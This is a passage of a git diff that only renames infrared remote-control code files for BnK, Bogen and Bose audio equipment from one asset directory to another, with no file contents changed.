a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/187,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/187,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/187,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/187,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/199,131.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/199,131.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/199,131.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/199,131.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/215,130.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/215,130.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/215,130.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/215,130.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/219,66.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/219,66.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/219,66.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/219,66.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/23,142.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/23,142.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/23,142.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/23,142.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/231,129.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/231,129.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/231,129.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/231,129.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/242,208.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/242,208.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/242,208.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/242,208.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/243,192.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/243,192.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/243,192.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/243,192.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/247,128.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/247,128.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/247,128.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/247,128.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/251,64.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/251,64.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/251,64.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/251,64.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/31,14.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/31,14.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/31,14.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/31,14.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/39,141.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/39,141.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/39,141.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/39,141.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/55,140.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/55,140.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/55,140.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/55,140.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/59,76.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/59,76.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/59,76.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/59,76.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/7,143.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/7,143.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/7,143.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/7,143.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/71,139.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/71,139.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/71,139.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/71,139.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/79,11.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/79,11.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/79,11.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/79,11.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/87,138.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/87,138.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/87,138.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/87,138.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/91,74.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/91,74.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/91,74.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/91,74.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Pre-Amplifier/11,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Pre-Amplifier/11,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Pre-Amplifier/11,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Pre-Amplifier/11,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Pre-Amplifier/11,79.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Pre-Amplifier/11,79.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Pre-Amplifier/11,79.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Pre-Amplifier/11,79.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Pre-Amplifier/139,71.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Pre-Amplifier/139,71.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Pre-Amplifier/139,71.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Pre-Amplifier/139,71.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Pre-Amplifier/203,67.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Pre-Amplifier/203,67.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Pre-Amplifier/203,67.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Pre-Amplifier/203,67.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Pre-Amplifier/27,78.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Pre-Amplifier/27,78.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Pre-Amplifier/27,78.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Pre-Amplifier/27,78.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Pre-Amplifier/5,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Pre-Amplifier/5,1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Pre-Amplifier/5,1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Pre-Amplifier/5,1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Pre-Amplifier/6,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Pre-Amplifier/6,1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Pre-Amplifier/6,1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Pre-Amplifier/6,1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Receiver/139,71.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Receiver/139,71.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Receiver/139,71.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Receiver/139,71.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Receiver/203,67.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Receiver/203,67.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Receiver/203,67.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Receiver/203,67.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Receiver/27,78.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Receiver/27,78.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Receiver/27,78.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Receiver/27,78.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Surround Processor/11,79.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Surround Processor/11,79.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Surround Processor/11,79.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Surround Processor/11,79.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Surround Processor/27,78.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Surround Processor/27,78.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Surround Processor/27,78.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Surround Processor/27,78.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Theater Preamplifier/139,71.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Theater Preamplifier/139,71.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Theater Preamplifier/139,71.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Theater Preamplifier/139,71.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Theater Preamplifier/203,67.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Theater Preamplifier/203,67.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Theater Preamplifier/203,67.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Theater Preamplifier/203,67.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Theater Preamplifier/27,78.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Theater Preamplifier/27,78.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Theater Preamplifier/27,78.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Theater Preamplifier/27,78.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Theater-Zone 2/11,79.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Theater-Zone 2/11,79.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Theater-Zone 2/11,79.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Theater-Zone 2/11,79.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Theater-Zone 2/43,77.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Theater-Zone 2/43,77.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Theater-Zone 2/43,77.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Theater-Zone 2/43,77.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Theater-Zone 2/75,75.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Theater-Zone 2/75,75.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Theater-Zone 2/75,75.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Theater-Zone 2/75,75.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bogen/Amplifier/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bogen/Amplifier/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Bogen/Amplifier/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bogen/Amplifier/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/3-2-1/186,75.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/3-2-1/186,75.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/3-2-1/186,75.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/3-2-1/186,75.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/CCF Conversion/186,133.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/CCF Conversion/186,133.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/CCF Conversion/186,133.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/CCF Conversion/186,133.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/CCF Conversion/186,213.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/CCF Conversion/186,213.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/CCF Conversion/186,213.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/CCF Conversion/186,213.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/CCF Conversion/186,229.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/CCF Conversion/186,229.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/CCF Conversion/186,229.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/CCF Conversion/186,229.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/CCF Conversion/186,85.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/CCF Conversion/186,85.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/CCF Conversion/186,85.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/CCF Conversion/186,85.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,136.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,136.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,136.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,136.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,160.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,160.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,160.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,160.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,161.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,161.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,161.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,161.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,162.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,162.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,162.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,162.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,163.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,163.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,163.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,163.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,164.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,164.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,164.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,164.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,165.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,165.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,165.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,165.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,166.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,166.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,166.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,166.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,167.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,167.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,167.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,167.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,168.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,168.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,168.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,168.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,169.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,169.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,169.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,169.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,170.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,170.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,170.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,170.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,171.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,171.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,171.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,171.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,172.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,172.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,172.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,172.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,173.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,173.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,173.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,173.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,174.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,174.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,174.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,174.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,176.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,176.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,176.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,176.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,177.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,177.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,177.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,177.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,178.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,178.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,178.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,178.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,179.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,179.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,179.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,179.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,180.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,180.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,180.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,180.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,181.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,181.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,181.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,181.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,182.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,182.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,182.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,182.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,183.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,183.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,183.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,183.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,184.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,184.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,184.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,184.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,185.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,185.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,185.ir rename 